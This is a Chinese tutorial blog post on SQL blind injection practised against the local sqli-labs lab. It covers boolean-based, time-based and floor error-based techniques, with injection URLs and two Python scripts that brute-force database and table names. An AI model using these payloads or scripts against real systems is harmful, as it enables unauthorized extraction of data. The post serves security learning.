前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql盲注的学习

sql盲注的学习

作者头像
安恒网络空间安全讲武堂
发布2019-09-28 13:24:06
7820
发布2019-09-28 13:24:06
举报
文章被收录于专栏:安恒网络空间安全讲武堂

这几天在学习sql注入的有关内容,今天记录一下我认为比较重要的部分,即sql盲注,我一开始学习的时候看到了好多的函数,看着看着就弄混了,相信不少新入门的师傅也有类似的困惑,经过多番心理斗争,我终于决定将这部分知识好整理一下,同时也给大家分享一下我在学习过程中编写的几个自动注入脚本,也欢迎各位师傅的指点和斧正。

函数整理

这里我先将所用到的功能函数整理一下,同时也欢迎各位师傅的补充和纠正

代码语言:javascript
复制
left(m,n) #从左向右截取字符串m返回其前n位
substr(m,1,2) #取字符串m的左边第一位起,2字长的字符串
ascii(m) #返回字符m的ASCII码
if(str1,str2,str3) #如果str1正确就执行str2,否则执行str3
sleep(m) #使程序暂停m秒
lenhth(m) #返回字符串m的长度
count(column_name) #返回指定列的值的数目

concat()函数和group_concat()区别

concat()

该函数用于联合两条数据结果,通常是联合两个字段名,如concat(username,0x23,passwd),数据将由#分割开

group_concat()

这个函数与concat()用法是类似的,但如果管理员账号不止一个的话,concat一次只能注出一组用户名密码,而使用group_concat()可以实现一次注出多组数据。

盲注类型

基于布尔的盲注

特征

被注入的页面没有sql语句执行错误的显示,页面只有正常返回和不正常返回两种状态

示例

这里我拿sqli-labs的less8作为布尔型盲注的例子

我们可以看到这个页面正常会返回You are in...........而不正常的时候会无任何返回,这就很符合布尔盲注的特征

正常返回:

非正常返回:

构造?id=1' and 1=1 %23时正常返回

这里基本就可以确定可以使用布尔盲注来获得数据库中的数据

接下来我们来猜解库名,在猜解库名之前,我们首先需要知道库名的长度

这里我们就可以利用length()函数来进行长度的爆破:

代码语言:javascript
复制
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length(database())=m) %23 //m=1,2,3,4.....

代码如下:

结果

接下来开始进行库名的猜解,这里用到了ascii()函数和substr()函数,具体的语句如下:

代码语言:javascript
复制
http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr(database(),m,1))=n %23 //其中m 和 n是可变的参数

猜解库名的自动化脚本函数如下:

结果如下:

猜解表名和字段和猜解库名是一样的,篇幅原因将代码直接放出:

代码语言:javascript
复制
import requestsdef get_dblength(base_url):    url = base_url+"' and (length(database())={0}) %23"    base_num = 100    for i in range(0,base_num):        url1 = url.format(i)        print(url1)        result = len(requests.get(url1).text)        if result  == base_result:            print("库名长度:",i)            break    return i
def get_dbname(base_url,db_length):    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    dbname = ""    url = base_url+"' and ascii(substr(database(),{0},1))={1} %23"    for i in range(1,db_length+1):        for m in dict:            m_ascii = ord(m)            url2 = url.format(i,m_ascii)            result = requests.get(url2)            if len(result.text) == base_result:                dbname += m                print(dbname)                break    print("库名:",dbname)
def get_table_length():    url = base_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"    for i in range(0,20):        url1 = url.format(2,i)        result = requests.get(url1)        if base_result == len(result.text):            print("表名长度:",i)            break    return i
def get_table_name(table_length):    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    table_name = ""    url = base_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2} %23"    for i in range(1,table_length + 1):        for m in dict:            ascii_m = ord(m)            url1 = url.format(2,i,ascii_m)            result = requests.get(url1).text            if base_result == len(result):                table_name +=m                print("表名:",table_name)                break    return table_name
if __name__ == '__main__':    base_url = "http://127.0.0.1/sqli-labs/Less-8/?id=1"    base_result = len(requests.get(base_url).text)    dblength = get_dblength(base_url)    get_dbname(base_url, dblength)    get_table_length()    get_table_name(7)

基于时间的盲注

特征

被注入页面无论作何输入都回显相同的数据,导致我们无法判断注入是否成功,这时我们就可以使用以sleep()函数为核心的注入语句进行延时注入

示例

以sqli-labs less9作为示例

不管我们输入什么页面都显示You are in...........这时我们就可以用延时注入的方法进行数据库数据的获取

同样我们需要先获取库名的长度,然后再获取库名

这里主要使用到了sleep(),substr()和length()函数

获取库名长度:

代码语言:javascript
复制
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((length((select database()))=m),sleep(5),NULL) %23//其中m为整型可变参数,如果猜解正确,页面将会暂停响应5秒

获取库名:

代码语言:javascript
复制
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((substr((select database()),m,1)='n'),sleep(5),NULL) %23//其中m为整形,n为char型可变参数

爆破代码:

代码语言:javascript
复制
import requests
def db_post(url):    try:        result = requests.get(url,timeout=4)        return 0    except:        return 1def get_db_length():    url = base_url + "' and if((length((select database()))={0}),sleep(5),NULL) %23"    for i in range(0,20):        url1 = url.format(i)        temp = db_post(url1)        if temp == 1:            print("数据库名长度:",i)            break    return i
def get_db_name(db_length):    db_name = ""    url = base_url + "' and if((substr((select database()),{0},1)='{1}'),sleep(5),NULL) %23"    print("开始猜解库名")    for i in range(1,db_length+1):        for m in dict:            url1 = url.format(i,m)            temp = db_post(url1)            if temp == 1:                db_name += m                print(db_name)                break    print("库名:",db_name)    return db_name
if __name__ == '__main__':    dict = 'abcdefghijklmnopqrstuvwxyz'    base_url = "http://127.0.0.1/sqli-labs/Less-9/?id=1"    db_length = get_db_length()    get_db_name(db_length)

可以看到成功将库名猜解出来

剩下的表名和字段将脚本稍作修改即可猜解出来,篇幅原因不再重复操作

基于报错的盲注(floor报错注入)

原理

该类型的注入利用了mysql的8652号BUG(官方链接:https://bugs.mysql.com/bug.php?id=8652),当使用group by对某些rand函数操作时,会返回带有敏感信息的错误信息,我们可以通过特定的sql语句组合来控制返回敏感信息的内容,从而实现间接的注入

示例

对于BUG触发的原理本篇不做分析,通过对该类型注入的资料收集,根据网络上的payload我整理了一份有效的注入语句

以sqli-labs less5为实际示例

这里要用到concat和count函数

回显库名:

代码语言:javascript
复制
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select database()),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23

接下来是表名的注入,我们同样需要知道表名的个数:

代码语言:javascript
复制
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select count(table_name) from information_schema.tables where table_schema='security'),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23

表名有四个,接着注出表名:

代码语言:javascript
复制
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select table_name from information_schema.tables where table_schema='security' limit 3,1),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23

想注出全部表名修改limit参数即可

列名和数据同理修改查询语句就可以了。

总结

盲注是一个比较费神和考验逻辑的注入方式,在注入的过程中会做很多相同的工作,为了节省时间和精力,建议大家在平时练习的时候多编写自动脚本,这样能节省很多时间,避免做更多重复无用的工作

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-03-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 函数整理
    • concat()函数和group_concat()区别
    • 盲注类型
      • 基于布尔的盲注
        • 基于时间的盲注
          • 基于报错的盲注(floor报错注入)
          • 总结
          相关产品与服务
          云数据库 SQL Server
          腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档